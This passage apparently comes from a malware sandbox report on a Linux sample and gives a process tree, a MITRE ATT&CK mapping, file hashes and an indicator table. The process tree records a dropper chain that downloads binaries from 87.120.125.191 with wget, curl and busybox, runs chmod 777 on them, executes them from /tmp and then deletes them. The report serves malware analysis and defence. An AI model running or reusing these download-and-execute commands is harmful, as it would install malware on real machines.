  2⤵
  PID:964
- /usr/bin/wget
  wget http://87.120.125.191/bins/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  PID:965
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:966
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  PID:967
- /bin/chmod
  chmod 777 71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  - File and Directory Permissions Modification
  PID:968
- /tmp/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  ./71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  - Executes dropped EXE
  PID:969
- /bin/rm
  rm 71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  PID:970
- /usr/bin/wget
  wget http://87.120.125.191/bins/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  PID:971
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:972
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  PID:973
- /bin/chmod
  chmod 777 0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  - File and Directory Permissions Modification
  PID:974
- /tmp/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  ./0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  - Executes dropped EXE
  PID:975
- /bin/rm
  rm 0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  PID:976
- /usr/bin/wget
  wget http://87.120.125.191/bins/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  PID:977
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:978
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  PID:979
- /bin/chmod
  chmod 777 2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  - File and Directory Permissions Modification
  PID:980
- /tmp/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  ./2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  - Executes dropped EXE
  PID:981
- /bin/rm
  rm 2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  PID:982
- /usr/bin/wget
  wget http://87.120.125.191/bins/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  PID:983
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:984
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  PID:985
- /bin/chmod
  chmod 777 VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  - File and Directory Permissions Modification
  PID:986
- /tmp/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  ./VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  - Executes dropped EXE
  PID:987
- /bin/rm
  rm VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  PID:988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk

Path /tmp/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk	744	YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
/tmp/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq	752	MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
/tmp/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN	758	GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
/tmp/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5	795	9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
/tmp/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG	816	m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
/tmp/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT	822	SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
/tmp/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC	828	Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
/tmp/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ	849	Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
/tmp/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et	873	wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
/tmp/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx	879	nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
/tmp/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0	885	71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
/tmp/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM	891	0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
/tmp/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi	897	2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
/tmp/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO	903	VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
/tmp/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN	909	GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
/tmp/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5	915	9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
/tmp/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk	921	YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
/tmp/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq	927	MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
/tmp/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ	933	Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
/tmp/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et	939	wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
/tmp/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx	945	nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
/tmp/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG	951	m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
/tmp/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT	957	SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
/tmp/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC	963	Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
/tmp/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0	969	71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
/tmp/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM	975	0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
/tmp/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi	981	2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
/tmp/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO	987	VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO